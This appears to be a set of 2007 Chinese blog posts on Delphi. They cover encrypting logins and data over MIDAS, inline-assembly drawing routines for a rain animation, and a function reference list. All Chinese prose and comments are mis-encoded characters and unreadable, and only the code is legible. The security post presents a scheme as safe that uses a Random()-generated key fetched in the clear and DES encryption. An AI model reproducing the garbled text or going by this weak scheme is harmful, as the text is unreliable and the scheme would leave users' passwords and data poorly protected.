Õâ¸ö´°¿ÚÖÐÊÇ´úÂë±à¼Æ÷¡£¿ÉÒÔÔÚÆäÖÐÊéдDelphiÓ¦ÓóÌÐòµÄÔ´´úÂë¡£µ±³ÌÐòÖк¬Óв»Ö¹Ò»¸ö´°¿Úʱ£¬»áÓм¸¸ö¿âµ¥ÔªµÄÔ´³ÌÐò³öÏÖÔÚ´úÂë±à¼Æ÷ÖС£´úÂë±à¼Æ÷µÄ±êÌâÌõÖÐÏÔʾÁ˵±Ç°ÕýÔڱ༵ĿⵥԪÎļþÃû¡£Òª²é¿´Ä³Ò»Ìض¨³ÌÐòµÄÔ´´úÂ룬ֻÐèÓÃÊó±êµã¶¯Ð´ÓиÿⵥԪÎļþÃûµÄÒ³±êÇ©£¬¾Í¿ÉÒԶԸÿⵥԪ½øÐбà¼ÁË¡£
¡¡
-
Delphi±àÐ´ÍøÂç³ÌÐòµÄ°²È«´ëÊ©
2007-05-28 16:13:14
---- DelphiµÄMIDAS¿Ø¼þΪ±àÐ´ÍøÂç³ÌÐòÌṩÁËÊ®·Ö·½±ãµÄÊֶΡ£ÀûÓÃÕâЩ¿Ø¼þ£¬¿ÉÒÔ±àд¾ÖÓòÍøÉϵĿͻ§»ú£¯·þÎñÆ÷Ìåϵ³ÌÐò£¬Ò²ÄÜ·½±ãµØÔÚInternetÉÏ´´½¨·ÖÉ¢´¦ÀíµÄÓ¦Óá£
---- ÍøÂç³ÌÐòµÄÒ»¸öÖØÒªÎÊÌâÊǰ²È«ÐÔ¿¼ÂÇ¡£Ò»Ð©Ãô¸ÐÊý¾ÝÔÚÍøÉÏ´«ËÍ£¬ºÜÓпÉÄܱ»ÈË·Ç·¨À¹½ØÒÔÔì³É²»±ØÒªµÄËðʧ¡£ÔÚʵ¼ÊµÄ±à³Ì¹ý³ÌÖУ¬ÎÒ²ÉÈ¡ÁËһЩÓÐЧµÄ·À·¶´ëÊ©£¬ÔÚ´Ë×÷Щ¼òµ¥µÄ½éÉÜ¡£
---- Ò»¡¢ ÔÀí
---- Ŀǰ½øÐÐÊý¾Ý¼ÓÃܵķ½·¨ºÜ¶à£¬¶ÔÊý¾ÝµÄ±£»¤Æðµ½Ò»¶¨µÄ×÷Óᣵ«Èç¹û²ÉÓù̶¨µÄÃÜÔ¿»òÊÇÃÜÔ¿ËæÊý¾ÝÒ»Æð´«ËÍ£¬Ôò¾ù²»ÄÜ´ïµ½ÁîÈËÂúÒâµÄ±£ÃÜЧ¹û¡£ÔÚʵ¼ù¹ý³ÌÖУ¬ÎÒÃþË÷³öÁËÒ»Ìס°ÇëÇó£Ó¦´ð¡±Ä£Ê½µÄËæ»úÃÜÔ¿·½·¨£¬¶ÔÃÜÂëºÍÊý¾ÝµÄ±£ÃÜЧ¹û¶¼ÁîÈËÊ®·ÖÂúÒâ¡£---- µ±¿Í»§¶Ë³ÌÐòÆô¶¯²¢ÆóͼÓë·þÎñÆ÷³ÌÐò½¨Á¢Á¬½Óʱ£¬¿Í»§³ÌÐò´Ó·þÎñÆ÷¶ËÈ¡µÃÒ»¸öÓÉ·þÎñÆ÷³ÌÐò²úÉúµÄËæ»ú×Ö´®£¬ÏµÍ³½«ÒÔ´Ë×Ö´®ÎªÃÜÔ¿À´´«ËÍÓû§µÇ¼ÃÜÂëºÍÊý¾Ý¡£ÓÉÓÚÃÜÔ¿ÓÉ·þÎñÆ÷³ÌÐòËæ»ú²úÉú£¬¿Í»§Ã¿´ÎµÇ¼ʱÃÜÔ¿¾ù²»Ïàͬ£¬Òò´Ë´ó´ó¼õÉÙÁËÃÜÂë±»À¹½Øµ¼ÖÂÊý¾Ý±»ÇԵĿÉÄÜÐÔ¡£
---- ·þÎñÆ÷¶Ë¿ÉÒÔÔÚÔ¶³ÌÊý¾ÝÄ£¿éÖÐÒý³öÒ»¸ö×Ô¶¨Òå½Ó¿Ú£¬¸Ã½Ó¿Ú·µ»ØÒ»¸öËæ»ú×Ö´®¡£Ô¶³ÌÊý¾ÝÄ£¿éÒª¼Ç¼¸Ã×Ö´®×÷ΪºóÐø´¦ÀíµÄÃÜÔ¿¡£Ëæ»ú×Ö´®µÄ²úÉú·¨¿ÉÒÔ¶àÖÖ¶àÑù£¬×î¼òµ¥µÄ·½·¨ÊÇÓÃRandom()º¯Êý²úÉúÒ»¸öËæ»úÊýºóÔÙÓÉ´ËÊýÓÃFormat()º¯Êý»òIntToStr()²úÉúÒ»¸ö×Ö·û´®¡£
---- ¶þ¡¢ Óû§µÇ¼´ëÊ©
---- ΪÁË·ÀÖ¹³ÌÐò±»·Ç·¨µ÷ÊÔ´Ó¶øÐ¹Â¶ÃÜÂ룬±ØÐ뽫¿Í»§µÄµÇ¼ÐÅÏ¢ÔÚ·þÎñÆ÷¶Ë´¦Àí£¬Ò²¿ÉÒÔרÃÅÔö¼ÓÒ»¸ö°²È«²ã¸ºÔð¿Í»§µÄµÇ¼¡£¿Í»§µÄµÇ¼ÐÅÏ¢´¢´æÔÚ¿Í»§×ÊÁϱíÖУ¬°üÀ¨Óû§Ãû¡¢ÃÜÂ롢ȨÏÞµÈÐÅÏ¢¡£---- ¿Í»§³ÌÐòµÇ¼ʱ£¬Ïȵ÷Ó÷þÎñÆ÷³ÌÐòµÄ½Ó¿Ú»ñµÃÃÜÔ¿×Ö´®£¬²¢ÓôËÃÜÔ¿¶ÔÓû§ÊäÈëµÄÓû§ÃûºÍÃÜÂë½øÐмÓÃܲ¢Ïò·þÎñÆ÷·¢Ë͵ǼÐÅÏ¢¡£¼ÓÃÜËã·¨¿ÉÒÔÊÇDESËã·¨»òÆäËüÓÐЧËã·¨¡£·þÎñÆ÷½Óµ½µÇ¼ÐÅÏ¢ºó£¬ÏÈÓÃÏÈǰ²úÉú²¢¼Ç¼µÄËæ»úÃÜÔ¿¶ÔµÇ¼ÐÅÏ¢½øÐнâÃÜ£¬ÔÙ½«½âÃܺóµÄÐÅÏ¢Óë´æ´¢µÄ¿Í»§×ÊÁϱíÖеÄÐÅÏ¢½øÐжÔÕÕ£¬´Ó¶øÅжϿͻ§ÐÅÏ¢ÊÇ·ñºÏ·¨ÒÔ¼°¸Ã¿Í»§ÏíÓеÄÊý¾ÝȨÏ޵ȡ£
---- ¸Ã¹ý³ÌµÄ¿Í»§¶Ë³ÌÐòÈçÏ£º
strKey:=myRemoteSever.GetKey();
{µ÷Ó÷þÎñÆ÷µÄ½Ó¿Ú»ñµÃËæ»úÃÜÔ¿}
UserName:=Ency(strUserName,strKey);
{¶ÔÓû§Ãû¼ÓÃÜ£¬Ency()Ϊ¼ÓÃÜËã·¨}
Password:=Ency(strPassword,strKey);
{¶ÔµÇ¼ÃÜÂë½øÐмÓÃÜ}
If myRemoteServer.LogIn(UserName,Password) then {怬}
Begin
{½øÐд¦Àí}
End;
·þÎñÆ÷¶ËµÄµÇ¼¹ý³ÌLogIn()ÈçÏ£º
strUserName:=DeEncy(UserName,strKey);
{¶ÔÓû§Ãû½âÃÜ£¬DeEncy()Ϊ½âÃÜËã·¨}
strPassword:=DeEncy(Password,strKey);
{¶ÔµÇ¼ÃÜÂë½âÃÜ}
{²éѯÊý¾Ý¿â}
if (Pass) then
Result:=true
Else
Result:=false;
---- ҪעÒâµÄÊÇ£¬ÔÚ·þÎñÆ÷³ÌÐòºÍ¿Í»§³ÌÐòÖУ¬StrKey¾ùÓ¦¶¨ÒåΪȫ³Ì±äÁ¿¡£---- ΪÁË·ÀÖ¹¿Í»§×ÊÁÏ±í±»³ÌÐòÍâ´ò¿ª´Ó¶øÐ¹Â¶ÃÜÂ룬¿ÉÒÔ¶Ô¿Í»§×ÊÁϽøÐÐÒ»¶¨µÄ¼ÓÃÜ´ëÊ©£¬ÀýÈçPARADOX±í¿ÉÒÔÌí¼ÓPassword£¬·þÎñÆ÷³ÌÐòÔÚ·ÃÎʿͻ§×ÊÁϱíʱÏÈÌṩ¸ÃPassword¡£
Èý¡¢ Êý¾Ý´«ËÍ
---- ÔÚÍøÂç³ÌÐòÖУ¬Ò»Ð©Ãô¸ÐÊý¾ÝÔÚÍøÉÏ´«ËÍʱ±ØÐë¼ÓÃÜ¡£DelphiµÄMIDAS»úÖÆÌṩÁËÊý¾Ý¼ÓÃܵÄ;¾¶£¬¿ÉÒÔÔÚÊý¾Ý´«Íù¿Í»§¶Ë֮ǰ¶ÔһЩ×ֶνøÐмÓÃÜ£¬Ò²¿ÉÒÔÔÚ½ÓÊÕµ½¿Í»§¶ËµÄ¸üÐÂÊý¾ÝÇëÇóºó¶ÔÀ´×Ô¿Í»§¶ËµÄÊý¾ÝµÄÏàÓ¦×ֶνøÐнâÃܺó²ÅÏòÊý¾Ý¿â½øÐиüС£ÎªÁ˴ﵽЩĿµÄ£¬¿ÉÒÔÔÚ·þÎñÆ÷³ÌÐòµÄÔ¶³ÌÊý¾ÝÄ£¿éÖмÓÈëÒ»¸öTprovider»òÊÇTdataSetProvider¶ÔÏ󣬲¢½«´Ë¶ÔÏóµÄDataSetÊôÐÔÖÃΪҪ´¦ÀíµÄÊý¾Ý¼¯¡£ÔÚTproviderµÄOnGetDataʼþÖмÓÈëÈçÏ´úÂ룺
with DataSet do
begin
while not EOF do
begin
Edit;
SensitiveData.AsString := Ency(SensitiveData.AsString,strKey);
{¶ÔÃô¸ÐÊý¾Ý¼ÓÃÜ}
Post;
Next;
end;
end;
---- ÒÔÉÏ´úÂë¿ÉÒÔ½«Ãô¸ÐÊý¾Ý¼ÓÃܺóÔÙËÍÍù¿Í»§³ÌÐò¡£---- ͬÑù£¬ÔÚTproviderµÄOnUpdateDataʼþÖмÓÈëһЩ´¦Àí´úÂë±ã¿É¶Ô¿Í»§¶ËËÍÀ´µÄÊý¾Ý½øÐнâÃÜ¡£
---- ÒÔÉÏÖ»ÊǽéÉÜÁËÍøÂç³ÌÐò°²È«´ëʩʵÏÖµÄÒ»°ãÔÀí£¬ÔÚ´Ë»ù´¡ÉÏ£¬¿ÉÒÔÔö¼ÓÆäËü±£ÃÜ´ëÊ©£¬ÒÔ´ïµ½¸üºÃµÄ±£ÃÜЧ¹û¡£ÀýÈ磬¿Í»§³ÌÐò¿ÉÒÔÓÃÌØ¶¨µÄ¸¨ÖúÓ²¼þÉ豸À´Ôö¼Ó°²È«ÐÔ¡£ÔÚÖÇÄÜ¿¨Ó¦ÓóÌÐòÖУ¬¿Í»§³ÌÐòÔڵǼʱ²»½öÒªÇóÓû§ÊäÈëÓû§ÃûºÍÃÜÂ룬³ÌÐòͬʱ¼ì²éIC¶ÁдÆ÷ÖÐIC¿¨µÄÀàÐͼ°Ìض¨µÄÄÚÈÝ£¬ÕâÑù£¬¼ÈʹÃÜÂëй¶Á˲»»á±»ÈËðÃûµÇ¼¡£µ±È»£¬Èκΰ²È«´ëÊ©¶¼²»ÊǾø¶Ô°²È«µÄ£¬°²È«´ëÊ©»¹ÒªÓÐÑϸñµÄ±£ÃÜÖÆ¶È¼°Ê¹ÓÃÈËÔ±µÄ¸ß¶ÈµÄ±£ÃÜÒâʶ²ÅÄÜÕæÕýÆðµ½±£ÃÜ×÷Óá£
-
DelphiÖÐʹÓûã±àÀý×Ó
2007-05-28 16:12:07
DelphiÖÐʹÓûã±à½øÐлìºÏ±à³Ì£¬ÊÇÒìºõѰ³£µÄ·½±ã¡£Èç´Ë£¬µ±ÄãÏ£ÍûµÃµ½Ð§ÂʵÄʱºò£¬Äã¿ÉÑ¡Ôñ»ã±à£¬È»¶ø´ó²¿·Ö¹¤×÷£¬ÄãÈÔÊÇÏíÊÜ×Å¿ÉÊÓ»¯¡¢ÃæÏò¶ÔÏó±à³ÌµÄ·½±ã¡£delphiµÄÓïÑÔ£¬Í¨¹ýʹÓÃasm...end³ÌÐò¶Îд»ã±à´úÂ벿·Ö£¬ÔÚ»ã±à´úÂë¶ÎÖпÉÒÔµ÷Óø߼¶ÓïÑԵıäÁ¿£»ÄãÐèҪעÒâµÄÊÇ£¬±£»¤Ä³Ð©¼Ä´æÆ÷±äÁ¿£¬È»ºóÄØ£¬Ä³Ð©Ï¸½ÚºÍdosϵĻã±à²»Í¬¡£´ó¼Ò¿´Õâ¸öÀý×Ó¡£
ÏÈ´óÌå˵˵һЩС֪ʶ£º
Ò»£¬Delphiµ÷Óûã±à£¬ÓÐÁ½ÖÖ·½Ê½¡£
Ò»Èç---
procedure TForm1.DrawRain;
var
x1,y1,x2,y2,d,i:integer;
begin//delphi³ÌÐò¿ªÊ¼
for i:=0 to 100 do
begin
x1:=random(537);
y1:=random(280);
d:=random(7);
asm//ÄÚǶ»ã±à¿ªÊ¼
push eax
mov eax,x1
sub eax,d
mov x2,eax
mov eax,y1
add eax,d
mov y2,eax
pop eax
end;;//ÄÚǶ»ã±à½áÊø
times:=times+1;
drawLine2(x1,y1,x2,y2,clmedGray);
wait();
if (i div 2)=0 then drawLine2(x1,y1,x2,y2,clwindow);
end;
end;//delphi³ÌÐò½áÊø
»¹ÓÐÒ»ÖÖ£¬°ÑÍâ²ãµÄbegin...endÈ¥µô£¬Í¨¹ýasm...endÖ±½Ó½øÈë»ã±à¡£procedure TForm1.Wait();
asm//ÄÚǶ»ã±à¿ªÊ¼
push eax
mov eax,0
@loop:
add eax,1
cmp eax,1000000
jnz @loop
pop eax
end;//ÄÚǶ»ã±à½áÊø¶þ£¬ÔÚ»ã±àÖÐʹÓÃdelphiµÄ±äÁ¿
´ó¼Ò¿´µÚÒ»¶Î´úÂëµÄÀý×Ó£¬ºÜÈÝÒ×Ã÷°×£º
asm//ÄÚǶ»ã±à¿ªÊ¼
push eax
mov eax,x1 //x1ÊÇdelphi¾Ö²¿±äÁ¿£¬´Ë´¦ÓÃ×÷Öµ
sub eax,d
mov x2,eax //x2ÊÇdelphi¾Ö²¿±äÁ¿£¬ÓÖÓÃ×÷ÄÚ´æµØÖ·
mov eax,y1
add eax,d
mov y2,eax
pop eax
end;;//ÄÚǶ»ã±à½áÊøÈý£¬»ã±àµÄ²»Í¬Ï¸½Ú
Àý×Ó²»ÌûÁË£¬´ó¼Ò×Ô¼º±È½ÏÁË£¬Èç
@loop:
//...
jnz @loop
ÁíÍ⣬´ó²¿·ÖintÖжϿÉÄܲ»ÄÜÓã¬ÎÒûÓÐÊÔͨ£¬Ò²Ã»¼ûʲô×ÊÁÏÉϽéÉܹý¡£ËÖªµÀ£¬¸øÎÒ·¢¸öÏûÏ¢ºÃÂð£¿Ð»Ð»ÁËÏÈ¡£ÏÂÃæÊÇÒ»¸ö±È½Ï´óµÄÀý×Ó£¬ÊÇÒ»¸ö¶¯»Ð§¹û¡£ÒòΪÒÔǰ¸Õ¿ªÊ¼Ñ§Õâ·½ÃæµÄ֪ʶ£¬×öµÄºÜ´Ö²Ú¡£ÊÇÒ»¸öСÊ÷ÁÖÀ²»Í£µÄÏÂ×ÅÓêµÄ³¡¾°---ºÜ¶àÎÊÌ⣬±íÏÖÍ»³öµÄÊÇ£¬Ê×Ïȸ¡µãÖ¸ÁîûÓлáÓã¨ÎÒÔÚºóÃæ»á¸½ÉÏÓдý¼ÌÐø³¢ÊԵĸ¡µãÊýÖ¸ÁîµÄ²âÊÔÀý×Ó£©£¬Ò»Ð©Ëã·¨µ±Ê±»¹²»»á£¬½á¹û»Ãæ±È½Ïµ¥µ÷£¬Æä´Î£¬¶Ô¾°Îï¼äµÄе÷²»¹»ºÃ£¬±ÈÈçÊ÷ûÓÐÓÐЧ±£»¤£¬ºóÀ´¾Í±»Óê¡°»¨¡±ÁË£º£©¡£
¿É»¹ÊÇ×öÀý×ÓÁË£¬´ó¼Ò±ðЦÎÒ£¬Ò»À´Ã»Ê±¼äдÕâ·½ÃæµÄÀý×ÓÁË£¬¶þÀ´£¬Ñ§DelphiÖеĻã±àʹÓã¬Ëü»¹ÊÇ¿ÉÒÔ˵Ã÷ijЩÎÊÌâµÄ¡£¶øÇÒ£¬Ò»°ãµÄ×ÊÁÏÉÏ£¬ÊǻرÜÕâ¸öÓ¦Óõ쬏ö±ðµÄ¸ß¼¶±à³ÌÖУ¬Å¼¶ûÌá¼°£¬¿É´ó¼ÒÒªÏëÕÆÎÕ£¬´ó¶¼µÃÒª×Ô¼º¶àʵ¼ù£¬Õâ¸öÀý×Ó¿ÉÒÔ¸ö¸øÄãÐí¶à½Ìѵ£º£©¡£unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Menus, ExtDlgs, FileCtrl, StdCtrls, ComCtrls, ImgList;type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Exit1: TMenuItem;
N1: TMenuItem;
Help1: TMenuItem;
About1: TMenuItem;
g1: TMenuItem;
Spring1: TMenuItem;
Summer1: TMenuItem;
Autumn1: TMenuItem;
Winter1: TMenuItem;
StatusBar1: TStatusBar;
ext1: TMenuItem;
Timer1: TTimer;
procedure Exit1Click(Sender: TObject);
procedure About1Click(Sender: TObject);
procedure Spring1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Summer1Click(Sender: TObject);
procedure Autumn1Click(Sender: TObject);
procedure Winter1Click(Sender: TObject);
procedure ext1Click(Sender: TObject);
private
procedure DrawLine1(x1,y1,x2,y2:integer;icolor:TColor);// x2>x1 and y2>y1
procedure DrawLine2(x1,y1,x2,y2:integer;icolor:TColor);// x2<x1 and y2>y1
procedure DrawLine3(x1,y1,x2,y2:integer;iColor:TColor);// x1=x2 or y1=y2
procedure DrawRain;
procedure DrawTree(x,y,height:integer);
procedure Timer1Timer(sender:TObject);
procedure drawClear;
procedure Wait();
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
times:single;
implementation
uses Unit3,Unit5;
{$R *.dfm}procedure TForm1.Wait();
asm
push eax
mov eax,0
@loop:
add eax,1
cmp eax,1000000
jnz @loop
pop eax
end;procedure TForm1.DrawLine1(x1,y1,x2,y2:integer;iColor:TColor);
const i:integer=1;
var j,k1,k2,d:integer;
begin
if((x2-x1)<=0)or((y2-y1)<=0) then exit;
for j:=0 to (x2-x1) do
begin
form1.Canvas.Pen.Color:=icolor;
form1.Canvas.Ellipse(x1,y1,x1+2,y1+2);
form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
if ((x2-x1)=0)or((y2-y1)=0) then exit;
asm
push eax
push ebx
push ecx
push edx
mov ecx,0
mov eax,x2
sub eax,x1
mov ebx,y2
sub ebx,y1
mov d,ebx
mov edx,0
div d
mov k2,eaxmov eax,y2
sub eax,y1
mov ebx,x2
sub ebx,x1
mov d,ebx
mov edx,0
div d
mov k1,eaxmov eax,x1
@loop2:
add eax,i
inc ecx
cmp ecx,k2
jb @loop2
mov x1,eaxmov eax,y1
@loop1:
add eax,i
inc ecx
cmp ecx,k1
jb @loop1
mov y1,eaxpop edx
pop ecx
pop ebx
pop eax
end;
end;// end for
end;
procedure TForm1.DrawLine2(x1,y1,x2,y2:integer;icolor:TColor);
const i:integer=1;
var j,k1,k2,d:integer;
begin
if((x1-x2)<=0)or((y2-y1)<=0) then exit;
for j:=0 to (x1-x2) do
begin
form1.Canvas.Pen.Color:=icolor;
form1.Canvas.Ellipse(x1,y1,x1+2,y1+2);
form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
if ((x1-x2)=0)or((y2-y1)=0) then exit;
asm
push eax
push ebx
push ecx
push edxmov ecx,0
mov eax,x1
sub eax,x2
mov ebx,y2
sub ebx,y1
mov d,ebx
mov edx,0
div d
mov k2,eaxmov eax,y2
sub eax,y1
mov ebx,x1
sub ebx,x2
mov d,ebx
mov edx,0
div d
mov k1,eaxmov eax,x1
@loop2:
sub eax,i
inc ecx
cmp ecx,k2
jb @loop2
mov x1,eaxmov eax,y1
@loop1:
add eax,i
inc ecx
cmp ecx,k1
jb @loop1
mov y1,eaxpop edx
pop ecx
pop ebx
pop eax
end;
end;// end for
end;
procedure TForm1.DrawLine3(x1,y1,x2,y2:integer;icolor:TColor);
var j:integer;
begin
if((x2-x1)<>0)and((y2-y1)<>0) then exit;
if (x2-x1)=0 then
for j:=0 to (y2-y1) do
begin
form1.Canvas.Pen.Color:=icolor;
form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
if (y2-y1)=0 then exit;
asm
push eax
mov eax,y1
inc eax
mov y1,eax
pop eax
end;
end// end for
else for j:=0 to (x2-x1) do
begin
form1.Canvas.Pen.Color:=icolor;
form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
if (x2-x1)=0 then exit;
asm
push eax
mov eax,x1
inc eax
mov x1,eax
pop eax
end;
end;// end for
end;
procedure TForm1.Timer1Timer(sender:TObject);
beginend;
procedure TForm1.DrawRain;
var
x1,y1,x2,y2,d,i:integer;
begin
for i:=0 to 100 do
begin
x1:=random(537);
y1:=random(280);
d:=random(7);
asm
push eax
mov eax,x1
sub eax,d
mov x2,eax
mov eax,y1
add eax,d
mov y2,eax
pop eax
end;
times:=times+1;
drawLine2(x1,y1,x2,y2,clmedGray);
wait();
if (i div 2)=0 then drawLine2(x1,y1,x2,y2,clwindow);
end;
end;procedure TForm1.DrawTree(x,y,height:integer);
var
x1,y1,x2,y2,x3,y3,x4,y4,x5,y5,d1:integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,height
mov edx,0
mov ecx,2
div ecx
mov d1,eax
mov eax,x
mov ebx,ysub eax,height
mov x1,eax
sub ebx,height
mov y1,ebx
add eax,height
sub eax,5
sub ebx,height
mov x2,eax
mov y2,ebx
mov eax,x
add eax,3
sub ebx,height
mov x3,eax
mov y3,ebx
add eax,8
add ebx,height
mov x4,eax
mov y4,ebx
add eax,height
sub eax,5
add ebx,height
mov x5,eax
mov y5,ebxpop edx
pop ecx
pop ebx
pop eax
end;
DrawLine2(x3,y3,x2-d1,y2,clcream);
DrawLine1(x3,y3,x4+d1,y4,clcream);
drawline3(x2-d1,y2,x2,y2,clcream);
drawline3(x4,y4,x4+d1,y4,clcream);
DrawLine2(x2,y2,x1,y1,clcream);
DrawLine1(x4,y4,x5,y5,clcream);
DrawLine2(x2+2,y2,x1,y1+2,clcream);
DrawLine1(x4-2,y4,x5,y5+2,clcream);
drawline3(x1,y1,x5,y5,clcream);
drawline3(x1,y1-1,x5,y5-1,clcream);
drawline3(x,y5,x,y,clcream);
drawline3(x,y,x+5,y,clcream);
drawline3(x+5,y5,x+5,y,clcream);
form1.Canvas.Brush.Color:=clgreen;
form1.Canvas.FloodFill(x,y1-5,clcream,fsBorder);
form1.Canvas.FloodFill(x+2,y-5,clcream,fsBorder);end;
procedure TForm1.Exit1Click(Sender: TObject);
begin
close;
end;procedure TForm1.About1Click(Sender: TObject);
begin
form3.Show;
end;procedure TForm1.Spring1Click(Sender: TObject);
var i,k,j:integer;
begin
StatusBar1.Panels[1].text:='·çÓêÖ®´º...';
form1.Canvas.Brush.Color:=clwindow;
form1.Canvas.FloodFill(1,1,clred,fsBorder);
for i:=0 to 10do
begin
k:=random(10);
j:=random(10);
j:=-j;
drawTree(10+k*50,300+j*20,20);
end;
for i:=0 to 10 do
begin
form1.Canvas.Brush.Color:=clwindow;
form1.Canvas.FloodFill(1,1,clgreen,fsBorder);
drawRain;
sleep(100);
end;end;
procedure TForm1.FormCreate(Sender: TObject);
begin
times:=0;
form1.canvas.Brush.Color:=clwindow;
form1.caption:=form1.caption+' Please select the Pictype!... ';
end;
procedure TForm1.drawClear;
var i,k:integer;
begin
form1.Canvas.Brush.Color:=clblack;
form1.Canvas.FloodFill(15,15, clcream, fsBorder);
for i:=0 to 5 do
begin
k:=random(300);
DrawLine3(20+k,1,20+k,307,clyellow);
DrawLine3(200+k,1,200+k,307,clyellow);
end;
end;
procedure TForm1.Summer1Click(Sender: TObject);
begin
drawClear;
form1.Canvas.Font.Color:=clblue;
form1.Canvas.Font.Size:=18;
form1.canvas.textOut(150,150,'ÂÌÉ«º£Ñó...ÐÝÕûʱ¼ä^_^£¡');
//DrawTree;end;
procedure TForm1.Autumn1Click(Sender: TObject);
begin
drawClear;
form1.Canvas.Font.Color:=clblue;
form1.Canvas.Font.Size:=18;
form1.canvas.textOut(150,150,'ºìÒ¶Ïãɽ...ÕýÔÚÐÝÕû^_^£¡');
end;procedure TForm1.Winter1Click(Sender: TObject);
//var i,x,y:integer;
begin
drawClear;
form1.Canvas.Font.Color:=clblue;
form1.Canvas.Font.Size:=18;
form1.canvas.textOut(150,150,'ÒøÉßÀ°Ïó...Ôݲ»¿ª·Å^_^£¡');
end;procedure TForm1.ext1Click(Sender: TObject);
begin
form5.Show;
end;end.
ÏÂÃæÊǸ½´øµÄʹÓø¡µãÊýÖ¸ÁîµÄ²âÊÔ³ÌÐò£¬µ±Ê±µÄÔ±¾£¬Î´´ïµ½Ð§¹ûµÄ£º£©£º
//Ö¸ÁîͼÊé¹Ý²éµÄ£º£©
procedure Tform1.xx;
var
xmax,ymax,x,y,a,b:single;
i,z:integer;
begin
a:=2.0;b:=10.0;
xmax:=image1.Width;
ymax:=image1.Height;
for i:=0 to image1.Width do
begin
asm
//.80x87finit
fld xmax //push xmax in st(0)
fdiv a
fchs //let st(0)=-st(0)
fadd i //st(0)=st(0)+i
fdiv b //st(0)=st(0)/b
fstp x //put st(0) in x without pop
fld x
fmul x
fchs
fadd ymax
//frndint
//fabs
fstp y
end;
x:=(i-xmax/2)/10;
y:=-x*x+ymax;
z:=trunc(z);
image1.canvas.Ellipse(i-1,trunc(y)-1,i+1,trunc(y)+1);
//image1.Canvas.Pixels[x,y];
end;
end; -
DELPHI-function´óÈ«
2007-05-28 16:11:17
Ãû³Æ ÀàÐÍ ËµÃ÷
----------------------------------------------------------------------------------
Abort º¯Êý ÒýÆð·ÅÆúµÄÒâÍâ´¦Àí
Abs º¯Êý ¾ø¶ÔÖµº¯Êý
AddExitProc º¯Êý ½«Ò»¹ý³ÌÌí¼Óµ½ÔËÐÐʱ¿âµÄ½áÊø¹ý³Ì±íÖÐ
Addr º¯Êý ·µ»ØÖ¸¶¨¶ÔÏóµÄµØÖ·
AdjustLineBreaks º¯Êý ½«¸ø¶¨×Ö·û´®µÄÐзָô·ûµ÷ÕûΪCR/LFÐòÁÐ
Align ÊôÐÔ Ê¹¿Ø¼þλÓÚ´°¿Úij²¿·Ö
Alignment ÊôÐÔ ¿Ø¼þ±êÇ©µÄÎÄ×ÖλÖÃ
AllocMem º¯Êý ÔÚ¶ÑÕ»ÉÏ·ÖÅ䏸¶¨´óСµÄ¿é
AllowGrayed ÊôÐÔ ÔÊÐíÒ»¸ö»Ò¶ÈÑ¡Ôñ
AnsiCompareStr º¯Êý ±È½Ï×Ö·û´®£¨Çø·Ö´óСд£©
AnsiCompareText º¯Êý ±È½Ï×Ö·û´®£¨²»Çø·Ö´óСд£©
AnsiLowerCase º¯Êý ½«×Ö·ûת»»ÎªÐ¡Ð´
AnsiUpperCase º¯Êý ½«×Ö·ûת»»Îª´óд
Append º¯Êý ÒÔ¸½¼ÓµÄ·½Ê½´ò¿ªÒÑÓеÄÎļþ
ArcTan º¯Êý ÓàÇк¯Êý
AssignFile º¯Êý ¸øÎļþ±äÁ¿¸³Ò»ÍⲿÎļþÃû
Assigned º¯Êý ²âÊÔº¯Êý»ò¹ý³Ì±äÁ¿ÊÇ·ñΪ¿Õ
AutoSize ÊôÐÔ ×Ô¶¯¿ØÖƱêÇ©µÄ´óС
BackgroundColor ÊôÐÔ ±³¾°É«
BeginThread º¯Êý ÒÔÊʵ±µÄ·½Ê½½¨Á¢ÓÃÓÚÄÚ´æ¹ÜÀíµÄÏß³Ì
BevelInner ÊôÐÔ ¿Ø¼þ·½¿òµÄÄÚ¿ò·½Ê½
BevelOuter ÊôÐÔ ¿Ø¼þ·½¿òµÄÍâ¿ò·½Ê½
BevelWidth ÊôÐÔ ¿Ø¼þ·½¿òµÄÍâ¿ò¿í¶È
BlockRead º¯Êý ¶ÁÒ»¸ö»ò¶à¸ö¼Ç¼µ½±äÁ¿ÖÐ
BlockWrite º¯Êý ´Ó±äÁ¿ÖÐдһ¸ö»ò¶à¸ö¼Ç¼
BorderStyle ÊôÐÔ ±ß½çÀàÐÍ
BorderWidth ÊôÐÔ ±ß½ç¿í¶È
Break ÃüÁî ÖÕÖ¹for¡¢while¡¢repeatÑ»·Óï¾ä
Brush ÊôÐÔ »Ë¢
Caption ÊôÐÔ ±êÇ©ÎÄ×ÖµÄÄÚÈÝ
ChangeFileExt º¯Êý ¸Ä±äÎļþµÄºó׺
ChDir º¯Êý ¸Ä±äµ±Ç°Ä¿Â¼
Checked ÊôÐÔ È·¶¨¸´Ñ¡¿òÑ¡ÖÐ״̬
Chr º¯Êý ·µ»ØÖ¸¶¨ÐòÊýµÄ×Ö·û
CloseFile ÃüÁî ¹Ø±Õ´ò¿ªµÄÎļþ
Color ÊôÐÔ ±êÇ©µÄÑÕÉ«
Columns ÊôÐÔ ÏÔʾµÄÁÐÊý
CompareStr º¯Êý ±È½Ï×Ö·û´®£¨Çø·Ö´óСд£©
Concat º¯Êý ºÏ²¢×Ö·û´®
Continue ÃüÁî ¼ÌÐøfor¡¢while¡¢repeatµÄÏÂÒ»¸öÑ»·
Copy º¯Êý ·µ»ØÒ»×Ö·û´®µÄ×Ó´®
Cos º¯Êý ÓàÏÒº¯Êý
Ctl3D ÊôÐÔ ÊÇ·ñ¾ßÓÐ3DЧ¹û
Cursor ÊôÐÔ Êó±êÖ¸ÕëÒÆÈëºóµÄÐÎ×´
Date º¯Êý ·µ»Øµ±Ç°µÄÈÕÆÚ
DateTimeToFileDate º¯Êý ½«DELPHIµÄÈÕÆÚ¸ñʽת»»ÎªDOSµÄÈÕÆÚ¸ñʽ
DateTimeToStr º¯Êý ½«ÈÕÆÚʱ¼ä¸ñʽת»»Îª×Ö·û´®
